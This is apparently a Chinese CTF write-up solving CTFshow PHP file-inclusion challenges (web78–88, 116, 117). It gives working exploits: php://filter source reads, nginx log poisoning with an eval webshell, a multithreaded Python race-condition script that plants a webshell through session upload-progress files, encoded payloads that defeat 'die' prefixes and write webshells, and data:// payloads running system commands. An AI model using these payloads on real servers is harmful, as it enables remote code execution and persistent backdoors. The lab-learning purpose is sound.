CTFSHOW-Web入门-文件包含(web78-web88,web116,web117)

web78

打开题目就看到源码

<?php

if(isset($_GET['file'])){
    $file = $_GET['file'];
    include($file);
}else{
    highlight_file(__FILE__);
}

通过get接收一个file,然后通过include包含进来。

通过尝试,我们发现网站根目录下就有flag.php,只不过内容不显示。

而访问flag.txt或者flag.html则直接报错没有这个文件。

那我们便可以通过php://filter伪协议获取源代码

php://filter/convert.base64-encode/resource=flag.php

image-20250420100216599

然后找一个解码工具解码

image-20250420100236789

web79

<?php

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

这一次它对file进行了过滤,过滤了php。我们尝试读取日志文件,然后包含日志文件。(也可以使用data伪协议,或者大小写绕过)

先随便抓一个包,看看中间件是什么,才能知道日志文件在哪

image-20250420104852967

可以看到中间件是nginx,而nginx的日志文件存放在

/var/log/nginx/access.log

直接读取一下

image-20250420105029361

发现是能读到日志文件的,那我们尝试往日志文件中注入一句话木马,就写在User-Agent里。

image-20250420105122568

然后尝试使用蚁剑连接

image-20250420105217089

然后查看flag.php获得flag

image-20250420105242924

web80

<?php

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

可以看到将php和data都过滤了。尝试直接读取一下日志文件

image-20250421160253035

还是跟上题一一样,尝试往日志文件中写入木马,然后用蚁剑连接

image-20250421160542827

后面查看师傅们的wp发现其实可以用大小写绕过(不过好像只能PHP://input)

下面尝试使用大小写绕过解题

image-20250421161330367

web81

<?php

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

多过滤了一个:,其实没啥区别啊,使用伪协议肯定就不行了因为伪协议都要:,但是对读取日志文件没有任何影响。

image-20250421161639969

后面就跟前面的解法没区别了

image-20250421161820357

web82(条件竞争)

<?php

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

可以看到这一次过滤了. 那么我们就无法读取日志文件了因为access.log之间有个。那也没法用伪协议那能怎么解?

题目的提示告诉我们需要条件竞争,大致说一下利用点:

Session文件包含的利用前提是启用了session.upload_progress,也就是session.upload_progress.enabled = on。当session.use_strict_mode=off时,表示我们对Cookie中sessionid可控。也就是说如果我们在 Cookie 里设置了 PHPSESSID=test,PHP 将会在服务器上创建一个文件:/tmp/sess_test。

还有当上传文件时,PHP 会将上传进度信息存储到$_SESSION中,进度信息的键名就是PHP_SESSION_UPLOAD_PROGRESS字段的值,最终保存到Session会话文件中/tmp/sess_xxxx。如果我们在字段的值处写入恶意代码,便可以通过文件包含Session的会话文件利用此恶意代码了。

但是对于默认配置 session.upload_progress.cleanup = on,文件上传后 session 文件内容会立即被清空。所以我们需要通过条件竞争,在服务器还未将此文件删除的时候成功文件包含此文件,从而执行我们的恶意代码。

更具体的讲解可见:https://www.freebuf.com/vuls/202819.html

利用以上的思路便有了下面的脚本:(全网大部分师傅都用的这个脚本)

import requests
import io
import threading

url = 'http://987a851c-4cf7-4ac0-97ea-fe6bb7455fe5.challenge.ctf.show/'    # 改成自己的url
sessionid = 'Lynzia'      # 设置PHPSESSID为Lynzia,使生成的临时文件名为sess_Lynzia
cookies = {
            'PHPSESSID':sessionid
        }

def write(session):     # write()函数用于写入session临时文件
    fileBytes = io.BytesIO(b'a'*1024*50)    # 设置上传文件的大小为50k
    data2 = {
        'PHP_SESSION_UPLOAD_PROGRESS':'<?=eval($_POST[1])?>'    # 设置sess_Lynzia临时文件的内容为<?=eval($_POST[1])?> 实现一句话
    }
    files = {
        'file':('truthahn.jpg',fileBytes)
    }
    while True:
        res = session.post(url,data=data2,cookies=cookies,files=files)
        # print(res.text)
        #print('======= write done! ======')

def read(session):      # read()函数利用session临时文件生成一句话木马,实现rce
    data1 = {
        "1":"file_put_contents('/var/www/html/3.php','<?=eval($_POST[2]);?>');"     # 使用file_put_contents()php内置函数生成名为3.php的shell文件
    }
    while True:
        res = session.post(url+'?file=/tmp/sess_'+sessionid,data=data1,cookies=cookies)
        # print(res.text)
        res2 = session.get(url+'3.php')
        # print(res2.text)
        if res2.status_code == 200:     #若3.php成功生成,则返回Done!,否则返回失败的状态码
            print('++++++++ Done! +++++++++')
        else:
            print(res2.status_code)

if __name__ == '__main__':

    event = threading.Event()
    with requests.session() as session:     # 为每个函数设置5个线程并发执行
        for i in range(5):
            #print('*'*50)
            threading.Thread(target=write,args=(session,)).start()
        for i in range(5):
            #print('='*50)
            threading.Thread(target=read,args=(session,)).start()

    event.set()

脚本运行成功的话会在网站根目录生成一个3.php文件,内容是一句话木马。

运行如下图所示就是成功了。

image-20250815004218833

访问3.php并执行命令

image-20250815004333084

web83

Warning: session_destroy(): Trying to destroy uninitialized session in /var/www/html/index.php on line 14
<?php
session_unset();
session_destroy();

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);

    include($file);
}else{
    highlight_file(__FILE__);
}

虽然销毁了session,但我们还是可以自行创建。多运行一会脚本就行了。

web84

<?php

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    system("rm -rf /tmp/*");
    include($file);
}else{
    highlight_file(__FILE__);
}

文件包含前会删除所有的Session会话文件。

但是cpu并发执行时存在间隔时间即分片,当我们多线程请求后,就有可能一个线程中system(“rm -rf /tmp/*”);命令执行完了,另一个线程没有执行删除命令但已写入sess_PHPSESSID文件,这样第一个线程文件包含时session文件仍然存在。所以仍然可以使用脚本,跑久一点就行了。

web85

依旧是并发的问题,跑脚本就行

web86

跑脚本

web87(绕过死亡代码)

<?php

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $content = $_POST['content'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);

}else{
    highlight_file(__FILE__);
}

这一题与前面便不一样了,考察的是利用php://filter伪协议绕过死亡代码。

详细的教程可见P神的文章:https://www.leavesongs.com/PENETRATION/php-filter-magic.html

这题可以采用base64编码的方式绕过死亡代码

<?php die('大佬别秀了');?>
base64只对phpdie解密

然而base64是4个一组进行解密的,所以传content的时候要在开头加两个字符。

此题虽然对php:进行了过滤,但是在file_put_contents的时候对$file进行了url解码,而在我们传入参数后本身就会自动解码一次。所以我们可以通过先url全编码一次,再url编码一次便能使用php://伪协议了。

?file=%2570%2568%2570%253a%252f%252f%2566%2569%256c%2574%2565%2572%252f%2577%2572%2569%2574%2565%253d%2563%256f%256e%2576%2565%2572%2574%252e%2562%2561%2573%2565%2536%2534%252d%2564%2565%2563%256f%2564%2565%252f%2572%2565%2573%256f%2575%2572%2563%2565%253d%256d%2575%256d%2561%252e%2570%2568%2570

POST提交内容如下

content=aaPD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==

其中PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==   是一句话木马<?php eval($_POST['cmd']);?>的base64编码
开头加上aa是为了与phpdie凑齐8字符,让其满足解码条件。phpdieaa解码后是乱码便自然绕过了死亡代码

提交参数后便可访问muma.php命令执行

image-20250815113216396

可以看到的确将死亡代码变成了乱码

image-20250815113413269

P神讲到了另外两种办法也是能解题的

string.rot13绕过

string.rot13是常用的字符串过滤器,作用是右移13位也就是rot13编码。

<?php die('大佬别秀了');?>在经过rot13编码后会变成<?cuc qvr('���б�����');?>

在PHP不开启short_open_tag时,php不认识这个字符串,当然也就不会执行了。

当然我们写入的一句话木马要求是经过rot13编码后恢复原状

payload如下

# GET

?file=%2570%2568%2570%253a%252f%252f%2566%2569%256c%2574%2565%2572%252f%2577%2572%2569%2574%2565%253d%2573%2574%2572%2569%256e%2567%252e%2572%256f%2574%2531%2533%252f%2572%2565%2573%256f%2575%2572%2563%2565%253d%256d%2575%256d%2561%2531%252e%2570%2568%2570

muma1.php

# POST

content=<?cuc riny($_CBFG['pzq']);?>

效果如下

image-20250815120548892

成功创建muma1.php。

还有一种方式是通过

string.strip_tags与base64组合拳绕过

就是先string.strip_tags将所有标签去除,传入的content是base64编码过的,之后利用base64解码即可。

可以参考P神的文章自行尝试

web88

<?php

if(isset($_GET['file'])){
    $file = $_GET['file'];
    if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
        die("error");
    }
    include($file);
}else{
    highlight_file(__FILE__);
}

过滤了很多字符,这下php伪协议用不了了。但是发现data和://并没有被过滤掉。那说明可以直接用伪协议data://text/plain直接执行php代码

payload如下:

?file=data://text/plain/;base64,PD9waHAgc3lzdGVtKCd0YWMgZmwwZy5waHAnKTs

PD9waHAgc3lzdGVtKCd0YWMgZmwwZy5waHAnKTs其实是<?php system('tac fl0g.php');编码后去掉最后的一个=,因为=被过滤了

image-20250727004635054

可能遇到的问题

此题最好不要闭合右标签,如下面这payload

<?php system('ls');?>

可以看看它base64编码后

PD9waHAgc3lzdGVtKCdscycpOz8+

可以看到有一些payload编码后最后会有一个+加号,但是+被过滤掉了。其实我们使用data伪协议本身也是要将+给换成url编码后也就是%2b,因为在url里+代表空格。但是%也被过滤掉了。所以我们构造的payload要尽量避免最后是+。

并且一定要把编码后的=给去掉

web116(misc+文件包含)

misc+文件包含

打开题目后是一段视频,右键下载到本地。

直接拖到随波逐流工具(misc神器)中分析

image-20250815123253703

binwalk检测到包含了PNG图片,使用foremost文件分离(不使用binwalk分离是因为好像有点bug,分离出来的不是png)。

得到包含代码的图片

image-20250815123405879

代码比较简单

直接传入:

?file=flag.php

image-20250815123532463

web117(另类编码绕过死亡代码)

<?php

highlight_file(__FILE__);
error_reporting(0);
function filter($x){
    if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
        die('too young too simple sometimes naive!');
    }
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);

也是死亡代码的绕过,只不过将base64与rot13都给过滤了。

yu师傅提供了一种新的绕过思路,就是冷门编码绕过

?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=muma.php

contents=?<hp pvela$(P_SO[T]1;)>?

image-20250815124216656

然后命令执行即可

点赞

发表回复

电子邮件地址不会被公开。必填项已用 * 标注